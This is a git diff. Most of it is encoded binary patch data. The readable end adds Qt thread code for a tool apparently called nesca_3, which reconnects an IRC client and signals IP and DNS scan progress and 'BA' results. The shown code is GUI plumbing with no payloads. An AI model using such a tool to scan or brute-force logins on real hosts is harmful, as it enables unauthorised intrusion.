z#}mX9y%|aXJ{}oeLaqYoRzVh%j zeAtSICN34npS$-PK1X?SRGxeII+M{9DSY?cI&D)yyPHcdAGdMBzWZ+Z1RAaJ*Tx@} zE!qyOkr~qV)j90Ip*2!YGK=So0Ul!}8wlJRkjDvcsL3w|A>kN7z&Bw|yFXVJ^i3#b z=7|B23(2sUO=`2eStJlZL!|Vukeao-^AW^K_Z2`Oc`9y)GE=NxvY0ECT>LD)y6Z0R zxx!b!d1-E8ck$_0Y0A|VpMEMeGI+fhhAf)(k#i}j2C0Nf0zmeAtpR71;3nuBeW{WE zL>OkhH9SO94P@AXOv6j{M8UzAXs8TR;<&^nWkzptRhWA9cfwP3{T;hz6CycRUCFOi z=J@Wayz$OQlnihbHD78eD2hZqMIe!NF>q31Uy)57o!@Z|_k)uLpd>_4hdjdY+%}2V z+0;^T>^bq&>b-?=@mg%Gdk4{=9`XIYvv1$)`tDGWl9wp3;RaBU$`+ReFvIx&1)G$} zWNK`)OcQw5lxs@xr|y7i=-{V6$)v_cHVr{Vipi`1nF$Of@MyR}{QUBK0vQ1~E_hA& z)-7&rw`(?gt2<9swzAn&hrRV88m3~~aUFhkAb>jJ`)+qX{OnSqec$Zri)XtPtDpCm zW8~rNva$dlFDzz}d=C!|2?_yn&^qRLFbv?F7J^ixWV@0c&eMT0CU7-LJkJO1@rgZr zka+Hax8Fh;&ZWZ0E5#lBXZ|em2`J9N%!__%8hVdsH|kiN#b`NJ9}mL?NEc7_ACkd% z;D^#nCK)s%spREGcuer&Yq=?kd?yM=kiyqpYq-dsQ0YX%G5|ryE{t);zy zREwk}=6VYgQj3VnI^HTDtNSm)?sXMSs-{?Jf?e^3X|zRSQ`}t+p&V*QoUn37u~*{bPtc7%U^2s+Qib4ajnF; z`|jhJ_s<)?W7&->9S@A1J^LZ?TW;Q>A){8L&3#}(uiDYwiMK!zjMss;DX>8KY;svt zUY08*KF)5A!t^zzwq%Mc*V9_^QDQl+EXl$w$wG4!EfM0Ct&YbdXP)I}R-)p>Vk4}w zw6wmRHQSkXGHk9}=R~ z-tpu1ahvXpiQB=4PL1!YXW$*!kdIDhGo@*eu}v9}o%F;6KX@4y1TRyyI32u1t{PA! ztwYEMuu3a%J9nE z@grZ#@0xJ=${X=hJt98}Rok(e5w{orR!LVO$^ zSeb*zCNPu=*qvb1#Q+*zL6T3e2S)K|`oDy00ug+3*hb-q=38PnEn@o?qrKxIWBtov zG87&B)yVu~A`kDs9TOtY3&wNdXk_?|^)*!N^dqCmtan*Bl?t^4NF^430Z2-CJH4|d z-u|B;rv$ZM96c4^j;QK=Q3zFhSoBnD^21(%tWiG9$jWrLl;S?PrSJxUKqKRYNFISG zp*6bmSBElNe|aBe;8ZL?=?O?*)XKBD+PYfo9L{eiSV8+p%pJ_D(a&V$0DC~DQ&?Xe zzah`PCMB7Q;XJVjgASVE)2qqSvB~v>#_EAkO7pHgR$$)VWYr=u2akiGLjZaxCxL@r zP?UKomrK`(y3=A=w19dBgJw+P+LaAC5AaS6<7Pbl>jGsXe~A}!`{N$*mS`ANS;_fZ zi!u_2J$GQ-fF0%Cf7yAU@t0jm@q^!NPy88&?9wRE-JVU6{5gnJIx>PXZUcJ`wr`gZ z>$J;1p|-rO6AUm_Wc1V1ayuVTawUA?W$oM1Kmp`tr0E9B=8bhK?MT7ZAlHgVZ!)uz zrpitZ@oQyX=#(`W(7&+T!4XNtB?~pW03)^Qb&^?aIRCkT+h^bM*@`F5+w>v&~ z*_P2yi`T``XE)5`_BW-MadV>v})j zb7<|xL4*(#VYW6wD#EZj$I6(cWumbzJOYVEiTu_@MTV(HnNcBGfpf3R3SoM+At>V@ z;G`}bc??z6vx)v%uM&G5kBoq!((O0N4?(`DYAfV`0l9kW)TwHpraaJJ^(_L>HMUYb z%{$epqZ`Jmg$*xYZWdy0CW6XjHp!Em1g$7#%3@A};Cc|xov2T=!m~E;BpEe1DG5-I z6bi>DB$ZOANvJ$YiJ+F7bzFd)34D$v>dr(UsS zt5)b!OllwQ34Ae;}SsM#jEUjF@^@G>Vf?tbC>5(Sg$%Uz~cU zQVXt+#CUFotR-WA!5HZ^LP%ne+&XcrF4=;DV#;#?&#r4_Npq^nBxfXPH0rWQq$*=$ zA^~hRxBR&%dJm+?y$Rd~f2c0gmJ(@9&_4{Or<38M8f~i_QOk;4M{^HI>$pLiv`>ho z>J2=f+YUb|UJy^8RJ9{Kjc1+_nIA5_^|$Y5R;Ue`5fi)LxJ!I_`vbp=pY}e=vwwe= zM?F$`P;9wr{r43&Kl$|k?-&3yQN+^)qrxF6Xz#uuU3*@G#1<(32w%rlG)8}C<|-f)@g;XqD=xh^sByu zmJ^olOp;4Zva`&Z<>I`3+bmZUN~~Jcu>qa4a}#B>+L_|zG6(<2jnK=c3W|yg+d~DB zVBnU{I=yaR)zLaAz_<+m+aDu$Min?%_^Ov4ujMZk6g^`5?ewmTFYwQ|+>qlIfruGpBMMLf5 zJda=Uyr!N6GQt@3c(4w?m-83hiD2yWkBAVCef+f zgYl>(#tsy^nd=Ehwu(vDzm{d9)SlW*On~mRAg`&ScmVa*KnxA4K`)i5;~6%ES#=#% z3*?a{&~v*7m59eYP8dg*Q$j>2i*W*6bHGX#7Fi1kyUH$(CLuKiGO#AAnknXTb97&I z#`$-a?%k`HGIakPfxU#9TY~t-*I;vswW+e0Isg*C^HkDg9Jbz`{-hl%j z%opEcy%jf>YaYXE&|PlqecDkL+QyxnBE9lHzDX5h~**evf#G}?SOscbk zt+O&S0BYzV^)c@yTCS8df7~q9b5%E61<_pG=kR z5fZd%?Mh+>&NA^CL*!-rYFv^*r&ylP~bL6(#2%=Ii*vkm%b#hJR@F=Cx8%N|+_%uE z#PO^RgD8xtZ#<`-(>{i@yV%%+@h&Tpca%t}XSQhY(ja;1iNa2RIxKCdOK=o!h$jgl zqMv`VP~I5>{!y|F9CC$+a1Guj%q}7%+(0Q0(@>_T-ypu^7Z$rsmQ?VCU~pmuq00qX z*-;3YVw}o`Hy|8hTg5Bbzf-~c@T%_LFY0^kGW8o@^wGjh@xEU!s=NozSeFqe2bd9A!QM8dSe_^a%M78J#p}d)so*V-3FF~T3fl2>QL@% zqZBfRXDbUwowvzI5RV@JQmB{fjkOT~C8t)E5ER9*#kTZfH}oztN+yJ|X6`mA-`|_O zXis6O0J5o(l zibeiYYBm-*3J>v5-E>&|K9?^PW2;f?J?l1kw6g#}o>jx>kU?YMr4Ipt=4nfm=Rhm~t?&^a(deN`#Ox}+@X9nCmE3eOXP zLZkp2oH3Ct*-&eD*dt?fYUFkl9^s_zO)Z&1e5uFGaN4G#Ysq>f>>^dYEE4nNMb-e2 z8VO<3YypcU7(8FjoMlNwJZ6p`Ut&oH{e}V0Jf>VjQ%H|D>f-?4ls1xYPBu?3aFC8M z4MA$}Kaa!DN*YHD^65dY%AA&;wKWk=LWHmvPiOH3Jg(!>aC9BIN%fk6pUHvfJVz`I z#nO!beD0F)1Pnx!HlGMXUkt=QAqpGOSgaIF`FFB8|Mh&-(_A#02z`y{$+|x;l(H~0 zroKyNlQ0`W38r;LlcBKf(1TY&rl_LD-CXNXeYHlm3h_xxRiWb} za=d<3rlza>^6KsOJFQR*+C2>!>bvB{?!XxdJ^Z?|P!C%Ds7tVIEKk|E0xZ0RqSQ-e zY%s~H&28IJU5&VEYuAZZiH{g^YDIqI}!$Rd| z7TkyOASV>J0s4ibfE=+XX%zh?w1ikG6%p^Xq|AhB=L;!wsy0(7r{A0p9{1+ABgHq$mHMOREE7ed z@Ny+m2@5=f6#!-YUCFbqbTOS zQ$PI^H~yxlrZI!-=!w#(7xYA>EzNssIm)KdA$xkODA%?~t&l{O7}9N}+8DJ(m5H7X z*S4JRGaV7pfOA&kcj$ug1AMQNkM}0%j*BX{XRzi=ROTg9RlZx?pyXHLBkW^-Kr_lu z#d#QZdB~4ma7GJoXUes+N zFgtNVmN}tbo@3fzq=Q)c1xct2Gfmi^fyzlTizdCG23Fi?g*l4hXR^K+H0X=0wI#en zd{oK*P!=i+|KOEt#j>A&5zE)o*vmoD%NJ5)j`C9^H~NE+07dW`h%_RhnRF3>!Rf_T zMB3j&6xj-k^_plHXavQ@maKA}pfw;!dj|yhX8UFnL43w9Kl7Pu(aKcl?H4ioCYI-6 zC>(8a`!#Hu&>cvU3RE{Vp;qKP$Z5q+aYyP@KIEyV1cHc)bLT2(jN{PeNxjWrbFy)4 z$q2NGxQ-fZX$ino1ZJp2N#!TS&ZnN@LqvIn(NqCZo`GGP8x2>>NWAKRntPD7&S{mc zN%*zi-6kv19vzwO54Vri0LVquSQZ+e5FcW|`pA}WgtvWUx*y3Vd{H71;HC790}D5j zyQ$$2qalQ7lksF-o2+OxK|&f{CuRbGOouQ6B4k+RPT_VF(iOmDvVhnZ7a{LR1@_IL z2zv_WU6f2jnt--l#ai+v96Rw{|K|sYV`B$@x8d^ z>f3P6K=)S4pp0%42Rwbtp1SSaR<}AyHI7~U#PTJF2e>!&xP0`qu8E?5;w4uuNE>wT z%R|ilrU za05bD9Dk6Bkkw(=au@Mw&mI~v>PDXb$e_Cx*NHd9yALiKdFr>@F1tevn%jHpn9aX% z_r1O)yr4_Y%$?%xD_ys$=PsF2RyuQiO8g-A;JI%UUv~QJlB)0a^u22B@GH_Lr%qpY zD&z7;UcPg7L-qC6Go$iua2%)j?`zZsV$(G2+?9GLDx*ybbP0UD;H-)8=9{2wwNwKk z!*&V#%U~5!Y7IuER^>@7_GhZa3Eml}Yb>q!qrsq6aQFgE{n}W0t<|FMu*K#p+7eHI zNAN_KdPZk9_>m7%y*B77Fy9}(1ovQ};@M9ORip<~6@l$d0lJ!KL)7f2FGypM&W6t` z#1ejMg&M0V9>kZJFv; z(#YGv=ae-0ITOpTC!aK6>!ja{KuI&`8mW0h{u$7l!^t|bN#1ItUAF5xtGC^kIkZFC zA)K4kkuBBjAj_oyzP6-&PHZl0&9M`;$#Q=-IPietnmTt*WUQ%W&cl|K%6V@4 ztc>(jd_ZYY^MESG1fBq0OmPjcp|*+xx~MFyC@Zh6#SxZZ@Rv9G*C#f~pauX(!34LU zJEe}2=aTpfSdH@R3}`ECZ)>W)RlAid{YEarcD8LB_wd^|YumN6cudTA`$ayV_j~%< zv1^=K-cuWD0-!H^+>6mPDId1Ia@P=S>fnTcg34tgqu=yXU;7zF*GGy>zT;fi(rr}y`06q7O zrr*3nB}v*A{)Bdox&btq!0DjR>Cx!mA__nCjHAB61BwBJ_&0b+HwS$t>uHwoP}P$5ns(0DS9y5w;K2>Q zD&x&5QK70i%6F$SBO*!*kG5KU8`Lln*{4;!&D5$7|B0k+7~+bq;Esh|E%$QEqWl^d zD`GBKO!^U~&}5+G-7y9YOpK>Z_>>}*s$4H=CT~;D4Av#(((x~wPW&nA#8b7dRokoj zq=mgY++Tjg>N2FCyRV9G~ zU5CIqq91RjHAR(PQJFQCW8+jTeFo@VKqw_HUuH$zMeX2(G$Trw(N`ek&Gn|mCi?dV zmU23oD7#p0{wQ{mha_D^U}&c1Y3Nyxj~)9|pW~~xZe0Fk?_=Y}9PfR6>Grkjj`2@d zKmWq2l`lO1$MGfAo0cE%bNrU^PxO9b<)*u<@O<33Ayenv&FMu7PiY@>dd5#V&HUWwxPy0o=G8+BGvD@WN zOt@6o8B2Z?n5v&u7VAVLEb~XG#v|XvYeVLjOf9@B)X4`9z#@sN<6(e_3_3&z;p4Fu z9Gs${jIf#CTaWayRYgiN=(C`x*xm`SJa!}$U^7*r)q=m$aFe&4zd!26Z)VK+=Eg_) z`&~R@|I<^EtmwNbeQH`Yzm9j9{Iu8)CEjct3xbr_O3KM2r9Gyo4x^L1WH!VWq8Moa zH7twdz8QuC1On?RtB{UxDRk$@q2$bgf(Z-$ z%EwLq`TR$sZu)NO)bDOO%8~uy1D>8LPK$>zoQ#d)Ve!)Br}+R6Y55sSrQ$_I>x30g zXUp_TW?2**jSahSAf4ELgPae!J|}9@U8#6ho17eKq`e==5ywYT1S0qD%c#ti3S)p> z-}KRN9&VyBp%|3PJ}^7d_3;CvM&z9RGn4B#OGUKW-FuPUj@ts?&d zwYbnOsHo0O&q)f*MZni+?qlim(M2i9%0z*V?ILqUukmY64<3Bv)p55xzP{{=XYcK% zc5fIyMBUu6#oa3nH{J5pR~0kAdHc4juJyjtLSej3j~zld0l=;ggWG@IIC#M zbnU=2!auRb{?N)*qxQMCtKq`y`2xY(nJWGN&$ zb$zuGQLTMmi68JB=xDjpL$-TCZkSr~H==)9=^;M`q;{m1pwP)ov~ic1hMa6ED@oF1omM1ed&N=RMqKI_2ElLA+z=e!2&IInK^$9aJL_ zKm*HeiM`W_CVDvE;zSeBU?6+}m0!k7UVO2{aP^t)n>Ka-?^?<%b{0DoCeD?-_~Ip6 zhd@ieX+>(7ArCuvvgxoy8KUA)V@j*SnAe3g9p;nk!6B+hJlWg;!HV6mNWTqFS-LEF zM5~WJG~}&V@dxPoO6#TCwML-Td0z6FNUxz7JVHfCgw49B8*Jfc=3=j?DNw!XM2p#3 z>1n2H3g*#=a-vW78{7A}Hl=lDpQ~@m>34%OTWiR_BO~o{_nfp0NKB^IP90_FCZ)IC zMGz63d>4R8V85IETbf%_b|x+*qE}-9{|Ubg-TI#>dkYuld7ap)Ol;ixFQg;@W9w2v z2#^vne0lFtRJzR-hu98$hoKfOUq2Hi0=P4b>IsjEf$Bk8S!fuC*NyB-(DnnK0&7#< zP|;wnLz;W#-m&-0&B}7OK7Lc5A<;Kk@0|wP4BB|*yml6}CCFvzUrc(#{zM(dNA}jh ze-&Zc*$TY3E3oGpV5($!3fOS6JlLe;4<1NYlCF)x^hzBoaa7%E0(#a#WVkQ&lpYK4 zkrpBBPEx?`#2IX|;LopBDch&-)=hPx@Y|oD)K553UGSw?s{Cz8qv!5?`mO$B44?YJ zsmaq&9c$uaI!$=|x}u%;^n4%35N{OYaPGUHfCTcz3kt{YYm zoyS4$uoW9)B%+4h+>vsJaZRj~!gFtUNTe)0sxd}Wk$^Xa#etjNHYu5LelFs$X#%C? z3A}CSm_ouxa4xd#UvQA0;Pbz|Wmx&NB=LL0?)(AblUM(OdAzL}{?FYRsWYDO&J{27 zszoC^@+E)IILHI9RxZKrsBmUK5DK+G72F=|ipLIE>9sa9k34zCuH6+gAK0V5vS-GO zJ$q)%+)Ys}YkWb=HY}Gb_qso?TrXv7{AnY+xhW|LXhlZ7Ex=hMK!U1UYVJ^zVpnXw zZ+u@XcJT-zm+K76eJ-C%`GCJH@-~C?X?Eh4Z><(=)OhK{{5y zyt0b{a^d1%P8l(n$BKss^M^(3wBa|4Pxt^pd+N&1vX0L^KKGlfXYgCn%?tyK_u=II z5&r$0RK;%B_vT8-M-D=`1(32Z)fR&-$^dZ^IPwn@#HITme1OOI4t2zu!c2;*V9 zF69HRpT57>h?xV5M)&PMVL#m(ef{;*9_%@C=77R6%CkkE_w2Sl|DU;+(?U8v5&Zr=|Z zmTJqZP!H)@&hNRssh?%kPp}KwVGZ_>H1&g})IuwuAJEfmB0J=D0sBxHsC?*4QD?nb z#joYpE*B%|q+iAsU@UKgcmSpJldH%6`OjN`e8bWz4otA%t57t7-2M*U==S9O(brvsM z#INMt7KzEX`|6|@53VqE77|1TmMPJ82@oSTkSBY47!@Vaj?v&biU^`9UH27=b!YMI zl|J%P7@uzlQ-1`88p~X4P+gogGE`%FCKpE!I{=-)dX$-g>hd_N830KzxRo#^_K$|6 zxCK|UsYIxpq9mA{;WoK_)Nd_~>Hb~SbXbxlHBE&NNhfa@Xr;ofQkHCfR6PIi(nIUk zAL9k$#m9T!ap$9t%@aS(UWf-}&^x?j=_BvFBTkBEdCAkyK6&!wGfzq#!!#ds4CO$f zILy+j%Nzim?-?u)z@f$TT@g6qR>H#(;qu%gI!go*6kuW<;FBIkSr{1r(xfJN%6+{p zn$WU9>IP7RtV%!~0RRdJ4C)Cq-_D&P=KMv&Ve};zy7VB}BO$_M%3&zjc7?wpLI}IVT8a!V zE;2K<94CzFs223NHC;^&<;X5!{vlb~^7#=B_b5i+AL>lg!t*0IfO#VmdHmXjhZ=6c z5!`v})JC?qJk76 zCdjX=p%AeP$Qx&}Ntr^RQmiqnT}e-4g$2>j*jd?%f5(s9Ry@_lZ{e$defE&}?YD=I z&JNY~46CfInKOU?F71Q4Zc!-KeIY*Jmd6kCu&psT(OOJ6wQl7LFKt|bJy#$|EtCtZ^e51*Y!x00n%6lTLLXZ+M8*u)Ysv|mFa6+ z%8D$-ro9Oe3V#i@F2D5E3sUe&=Ij00NLjj~9}!0)ODNi=Oe!t&>>E^0vl=fiJ z=RLZubAOauoFlopPc2d3L^Rq*_v~pY0GbBGuGj3#qhVzZ3;rvWB~#S^{4~8r0h=%^ z5jcDXUv(oL`xnfN$7 zo8|i)+Yr8d=6UfoUs(AzUx{kR+r=XBjhOmY<;=7Et`B)9@$4sJ_PaCj4OFP%(q1#p z!A?}T#yBhS8?4~K-P6Il-(K|Ycg^lT6MXOY&F=09-uyo(*u{BtKa>d?l!)F zyB+kqf@r|WJ-GWY?*3?`cJ=rEAzQ$5Ggyo?wrJVzd3jfUP>$yObtd1 z&S^T&l4QH!C*CVhh6VapL;x(fv(y*73-l~-w<`Q%cULsKdv)-=E1OyXx>Us0AQ=}! z$7ck3LmU@qce#8oorikAq#;|U!9wqqcO?z_-KvY;UD50=(V)L~CEaa=yz;fO-OJ>N zK?u=+y9Z>ubl1tM#EX(YXK=q&v->NA7q2UgujBrMKmt`r;1yE;`XN`nR!LT}139}e zw?H_dUQH4-DLM)T6Ku7~S|o0&>h^Vsx28ltw}P+Gfj-cPy*KJM$-O+uku^y~xjgGm zj;DjXyVMlCE9utnRv9mLcZI#_F7Zi!@5-k4%HH(5YZB`lL0 zb8jS!_uxo7M&B+|7l|Vf{ZX~U z93Enbm5Kago@hE;53q2I19%&wgucHlOD1CI+bV+T&bmm%p?anhRtg)utf}%#ta7kh zKJYbGaOi-GD>Hf4%ZKq@RwJwVW52GP^SQ|6HOl-7Wq9Blt(5sf(ZAG6q*BEwG>29R z`lH}G_mdW^-W*Hk`{|zIL8m1GJ|rCofoS%a$3|4QIE)y_L+J-a0$e6TgB&dx8ncCt zi6p}f?~=+q5yZCqB9dypv+0{iKArFXCXy#=e))PI7Z31vhVFf4Jeg`KJ%&+`_;l22 zMmp&$8v>9k#kBel@>|~2h=geA>NopBI1e_79)nCf;cO5T5&~1Jr>VUT#Y{!2$>vxb zB_Tm2l-Xsw0b!eL`bpljc^IeCnwo09vJ~4>?H?Pqyu{mn->V}6CohI}?Y7K+_@Xv@ zLcg)g`;F*#vpBs97A|lMqj6Hpa~MafUT~exVZ2e6d|;a&JOT@4vukk@Bb)~?{Dgi4 zV{^~U0&kj<3GxWWfTKza^kSzl;{0c@{$HHJs9p8dpAKO}YVBKf+1o%t=@iDFwI70~ zFmhICgp>*P{V6hTa{(ARcaIV8?<;{0X&p}PG zK8i~@1s^>nuwPGligY+gS*STB8Rvt@?^vSE((-%|{g6`HAdG;S&Lyqm$;d*b=yeLs z&Ih4b7}drt&j-=P(G8Y+1Kv0-7{pVoooXpr5c{T{G z8gF)N;A{{V4p(hD8>DrPJR1bxKf^QAQxh~g^MoKQO5?{UQcz25{!>C~2^Wu$iG2@_ z3-M+oG&?Os1{>I^EKyvVbAO#N)h*I@xJQ97mY}LOc;d3Wb`k^qTTryh_^Q5@7ZcPaiI`MDmaOKKL_PDnnmNT5)EBaw1-Xk8mdj8&n;eTyfaY9XE#M|X4zt{qB- zpEp5PuZyu3w2)P+**)8i`~&fbcC!(W9MJKbbuQ6Hui9{IWtN7DcouLDV(@h+NFzZH z1v%%9b!G{7LMNl4LL2@`#@Q zUMb)NPn<;2oa29`CbUgdb+VbaZkmS+HOE8FnBC1a2Y*5qZCp4(uJLiwFRani22@0#V-z}0K}dyfps4aqgF39MIl7WR!6X;m)8cm?6U^*{pBYqU0WEr11c+H$S z*HBAW89q}zh!U+VrwJng0->kP^;Tf7PT2l3Wv-6Aw*T0+H}}tOm(#b$$ef{rT$dPk zxR>N)T-|<2b{6se6+@jGft_zuWs!M7l|?PS5Kba8=;beJD<=DED~#VYtF2G~_5Yzp z{~ydM-`-+Y`6|rLFMmHfRITx7=Vr5-htJ*p_n)I#oxpSQ#p%GTvKKL{SO3SeYUUl= zh##8Is=^$GKP0B`-%2{|=%@OcN2>YEfS}{lHp2;tN&LN>^G(gI}D#`5&yf4KYnfhaczh6Z`H0*gBQz zR4x-wWMN;BxsBn3t`UJ1$nRD}OGSt-3GIQIf&SWzx!v`DF}Lm(bE~9-?j?UeM`SyC zbrz?Cw&N*$F6Zw*M|0cQa&AZ9lkffqoYLoZ=S6JC`)H}#-_t;}hXnOO5WOS(Pe<=e zlEWRr;Vb_SILu#b&S8b!2<&G$&KCav*Y`z5{HyPa8orGu{)_L6`ss>E)2})(8FpJ~ z{9Y@Uc;Nr4;g?nO9sUAJ$iDm@0N{f~s1qgxb=4<9luP1dI?7eG7cY|gMc3(NEB`sv z-1!$|YUnQ8{rTyW^tk8lF*AYZvyk(!`Z%PEJUjV=<-^Ic}xm^@SnlWlR1S>48Tn z`&d_chDZ4^`Y3A8!nE&MrFN3_GIV5>Y6I)3eu2M#W<3$hRPy`qTw{gWt9b20R%v{X zRT|df-sdbAI}9rgm$E#q0e|1lx@gJFWaz@~)YdirYVt8v+uiu9HXqkgmS>vO_?zjU z=p&TbsV{t`%Rro4FdJRtU(`iY}qLHnFd#x;%*M_dcF&)7&jj=*bUagE0FA$X+s7UQ*g{Jj>>yYbba&3|dn z;Q0nN5v6Ed`6PC|vVx7kB_H`$Y&)(Us3n?+t6W{DU&`gIoGwF~##=ciAMJi@SceDW;4(q18xq=N*=CL7$FxD6MZdSelji0kEfy;Pvqfh&q z4Z|ExlXPvsxXo<8yt=U&YBzQl+FZ}AVv+G`mKK`I(ufWu4gOHiq2iaJf)^PST*

R^v*DGoRz9^u9ufmmwvA_7|aq}J8 z=X?^b-*IiiRg9~@b~_5;uvQJ1!uDPYJ9#O83fBm29)Dl*U>@(N+1QOVMp|1$Go~Xm z_-`~j#akicxQD;1bXV?Fwk!WsbJX7IS*@qGLHo#XnPHDH!dPOQZ#-t|V>%FG2aefFbHl5`-;d}Ju_xl!$gIejkw+rmj_Mw@HtMvwmH967OO{N_Ld%O* zv$e|lLUeZYaGTk-&K_c)Z@eSD|aXYl&;8>!|Ck)YQ~* zsq0dYrd^lzk924Hr1azI?`4E%?8(f|9GbZ?^W7{{)`qONvU_JQ%6`06TB~I_TF!u+ zZ8=9;cW(Vv8&ey1n`_$4YqPD*<83}}8`3tnZF$?ZZ4b2lpzZl~i~e76*BabJ6@|Z~ zX+fN)E9s-_N5FH&|cGi54H_<4E6~24KkNda7eH`I4(FLSQp&GyZ+{0d^rE?{B-`e1!}?e{>7oQ zLIXoJp_!rOp&em_FA9$e*M{eX8^T|P|A=&rL?c#Yab#m;Z{)YAFIpZQ7o8nl5#1I& z6w8Tqh(%&6V!LDeV+T1q=zCo4Fbr*Yzd08LX}}~i3il{~u@vXIzHahIyu9gP-o%JI z9n3&N-0NVmkM@9rJ;X~KoXx$Tl@4ZbDxP<68&qH${|C7|IXqu3^TIV^4->2Qk+==% z?Og>97Id*&$0TqvSkR^Jxl(@596=`*^o0^jIX$Z! zEa(j*C#Q{Sy~PZrm606p>%>+@Q zcaT>p)@}V*?efw}uQEJk*=DLHbBs9Dtg=#>RJE-XrL449DNH66%S?>7Gm2$o46DwF zdoQUai)|*2QX^5D)UBr9O`yWCGHg}xd;Pv9;)&dfnNf5lX;v9E86&RPmL4}I>ed7$ zRsHWZLk&~2TTB|JBgq7pwZti8V8i5Z17$=ydEz`;JhtQ*iOEQlvzi=L{8nfN3O8sA z_zn=2usu=VV11K33W{V~I$O3Ks>1Wsv9z9V!6 }zMSq7{p>i5eynl1D)yld=!u zhiT5pE95-!+~p``JAz}l)Kb(I(qvk24rNId&mnYAQ5TyWMY2v>)-R+iNz#N435;jC zXv3l;87WO2k8yIg?4MGWBq)25@>#8vx2#biTg*7JioW#n<7=hv-?go<4I!uKnWWUv zklG7b73v^*T8xYseG3yv6T1HwV|In?+mp?@Ma%b!UT*xOGd6{{|$LSPc zmS&az`9yR>K25bhLfjjP(9b=MxttWm?6wk`*I-$uaH%N$Ju=x^_!-ml_x?qg*$ z5+DcD7_+dRQ+77)!X|7*1IA(;7GW{&!%Jw3?TF!Se2RUTLxcVhU*HpbgwL=apEEXT z7G~1RZ{XGFd+<0O#&YgG_vHP+^RW!`@E{gq0hgI;Fp&8`bo%{Aa4p`%YP^m$TrS?C z>Aa0M@Gf>>C*GmyB=8<~V;9zPiFhA-@BvrZchangeRedIRCData(str); +}; +void IRCPinger_Th::doEmitRestartIRC() +{ + emit ircPTh->RestartIRC(); +}; + +void IRCPinger_Th::run() +{ + while(iWantToConnect) + { + if(globalPinger >= 360) //6min timeout + { +#pragma region QTGUI_Area + ircPTh->doEmitChangeRedIRCData("-//- Ping timeout. Reconnecting... "); +#pragma endregion + + ircPTh->doEmitRestartIRC(); + globalPinger = 0; + msleep(10000); + }; + ++globalPinger; + msleep(1000); + }; +}; \ No newline at end of file diff --git a/IRCPinger_Th.h b/IRCPinger_Th.h new file mode 100644 index 0000000..e4ab1df --- /dev/null +++ b/IRCPinger_Th.h @@ -0,0 +1,24 @@ +#ifndef IRCPINGER_TH_H +#define IRCPINGER_TH_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" +extern int iWantToConnect; + +class IRCPinger_Th : public QThread +{ + Q_OBJECT + +public: + static void doEmitChangeRedIRCData(QString str); + static void doEmitRestartIRC(); + +public: signals: void changeRedIRCData(QString); +public: signals: void RestartIRC(); + +protected: + void run(); +}; +extern IRCPinger_Th *ircPTh; +#endif // IRCPINGER_TH_H diff --git a/STh.cpp b/STh.cpp new file mode 100644 index 0000000..8d134fd --- /dev/null +++ b/STh.cpp @@ -0,0 +1,102 @@ +#include "STh.h" + +void STh::doEmitionShowRedVersion() +{ + emit stt->showRedVersion(); +}; +void STh::doEmitionStartScanIP() +{ + emit stt->startScanIP(); +}; +void STh::doEmitionStartScanDNS() +{ + emit stt->startScanDNS(); +}; +void STh::doEmitionStartScanImport() +{ + emit stt->startScanImport(); +}; +void STh::doEmitionAddIncData(QString(ip), QString str) +{ + emit stt->sIncData(ip, str); +}; +void STh::doEmitionAddOutData(QString ip, QString str) +{ + emit stt->sOutData(ip, str); +}; +void STh::doEmitionIPRANGE(QString str) +{ + emit stt->changeIpRange(str); +} +void STh::doEmitionThreads(QString str) +{ + emit stt->changeThreads(str); +} +void STh::doEmitionIPS(QString str) +{ + emit stt->changeIPS(str); +} +void STh::doEmitionFoundData(QString str) +{ + emit stt->changeFoundData(str); +} +void STh::doEmitionBAData(QString str) +{ + emit stt->changeBAData(str); +} +void STh::doEmition_BARedData(QString str) +{ + emit stt->changeRedBAData(str); +}; +void STh::doEmition_BAGreenData(QString str) +{ + emit stt->changeGreenBAData(str); +} +void STh::doEmitionRedFoundData(QString str) +{ + emit stt->changeRedFoundData(str); +} +void STh::doEmitionGreenFoundData(QString str) +{ + emit stt->changeGreenFoundData(str); +} +void STh::doEmitionYellowFoundData(QString str) +{ + emit stt->changeYellowFoundData(str); +} +void STh::doEmitionDebugFoundData(QString str) +{ + emit stt->changeDebugFoundData(str); +} +void STh::doEmitionChangeStatus(QString str) +{ + emit stt->changeStatus(str); +} +void STh::doEmitionTargetsLeft(QString str) +{ + emit stt->changeTargetsLeft(str); +} +void STh::doEmitionKillSttThread() +{ + emit stt->killSttThread(); +}; +void STh::doEmitionChangeParsed(QString str) +{ + emit stt->changeParsedValue(str); +}; +void STh::doEmitionChangeBA(QString str) +{ + emit stt->changeBAValue(str); +}; +void STh::doEmitionOffline(QString str) +{ + emit stt->changeOffline(str); +}; +void STh::doEmitionDataSaved(bool status) +{ + emit stt->signalDataSaved(status); +}; +void STh::run() +{ + startScan(inputStr); +} \ No newline at end of file diff --git a/STh.h b/STh.h new file mode 100644 index 0000000..3d1f858 --- /dev/null +++ b/STh.h @@ -0,0 +1,70 @@ +#ifndef STH_H +#define STH_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class STh : public QThread +{ + Q_OBJECT +public: + +public: + static void doEmitionDataSaved(bool status); + static void doEmitionStartScanIP(); + static void doEmitionStartScanDNS(); + static void doEmitionStartScanImport(); + static void doEmitionAddIncData(QString ip, QString str); + static void doEmitionAddOutData(QString ip, QString str); + static void doEmition_BAGreenData(QString str); + static void doEmition_BARedData(QString str); + static void doEmitionIPRANGE(QString str); + static void doEmitionThreads(QString str); + static void doEmitionIPS(QString str); + static void doEmitionFoundData(QString str); + static void doEmitionRedFoundData(QString str); + static void doEmitionGreenFoundData(QString); + static void doEmitionYellowFoundData(QString); + static void doEmitionChangeStatus(QString); + static void doEmitionTargetsLeft(QString); + static void doEmitionKillSttThread(); + static void doEmitionChangeParsed(QString); + static void doEmitionChangeBA(QString); + static void doEmitionOffline(QString); + static void doEmitionBAData(QString str); + static void doEmitionDebugFoundData(QString); + static void doEmitionShowRedVersion(); + +signals: +public: signals: void showRedVersion(); +public: signals: void startScanIP(); +public: signals: void startScanDNS(); +public: signals: void startScanImport(); + +public: signals: void signalDataSaved(bool); +public: signals: void changeGreenBAData(QString); +public: signals: void changeRedBAData(QString); +public: signals: void changeBAData(QString); +public: signals: void changeOffline(QString); +public: signals: void changeBAValue(QString); +public: signals: void changeParsedValue(QString); +public: signals: void changeIpRange(QString); +public: signals: void changeThreads(QString); +public: signals: void changeIPS(QString); +public: signals: void changeFoundData(QString); +public: signals: void changeRedFoundData(QString); +public: signals: void changeGreenFoundData(QString); +public: signals: void changeYellowFoundData(QString); +public: signals: void changeDebugFoundData(QString); +public: signals: void changeStatus(QString); 